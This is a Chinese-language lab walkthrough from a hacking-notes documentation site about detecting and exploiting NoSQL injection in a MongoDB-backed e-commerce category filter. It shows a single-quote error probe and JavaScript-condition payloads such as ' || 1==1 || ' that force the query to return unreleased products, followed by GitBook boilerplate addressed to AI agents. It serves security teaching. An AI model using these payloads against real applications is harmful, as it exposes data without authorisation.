> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/nosql-injection/detection-of-nosql-injection.md).

# NoSQL 注入检测

### 检测 NoSQL 注入

**实验目标**

本实验包含一个电子商务应用，其分类筛选器基于数据库 **MongoDB（NoSQL）**。/ NoSQL 注入漏洞允许你显示 **未发布的产品**.

目标是利用此漏洞，迫使应用返回所有产品，包括那些本不应可见的产品。

**应用上下文**

* 带有一个按分类筛选的电子商务页面。
* 正常请求示例

```bash
filter?category=配件
```

<figure><img src="/files/06900259235906ffea774d1e134959b1a3cd6bd8" alt=""><figcaption></figcaption></figure>

**漏洞识别**

在……的末尾添加一个 **单引号** 参数时， `category` 服务器返回内部错误：

```bash
内部服务器错误
命令失败，错误 139（JSInterpreterFailure）：
SyntaxError：未终止的字符串字面量....
```

<figure><img src="/files/5dc8c49cbda3efbaf8e9d106a2951ce45fbf8d9b" alt=""><figcaption></figcaption></figure>

此错误揭示了几个重要因素：

* 后端使用 **MongoDB**.
* 用户输入在……中被解释为 **JavaScript** 数据库端的上下文。
* 该应用易受 \*\*NoSQL\*\* 注入攻击。

**NoSQL 注入利用**

目标是操纵 MongoDB 请求中使用的条件，使其始终为真。

测试过的有效载荷示例：

```sql
' || 1==1 || '
' || true || '
' && 0 && '
```

这些表达式会强制条件为真，从而显示 \*\*所有产品\*\*，包括未发布的产品

<figure><img src="/files/935f5d4ccfe8f68a3e7704d64153d5fc704527cc" alt=""><figcaption></figcaption></figure>

#### 无效载荷（用于比较）

```sql
' && 0 && '
' || 1==2 || '
```

这些条件被判定为假，不会返回任何产品

<figure><img src="/files/cd719a141b7243be40e1760aa7961ed7f09e2d5c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/nosql-injection/detection-of-nosql-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
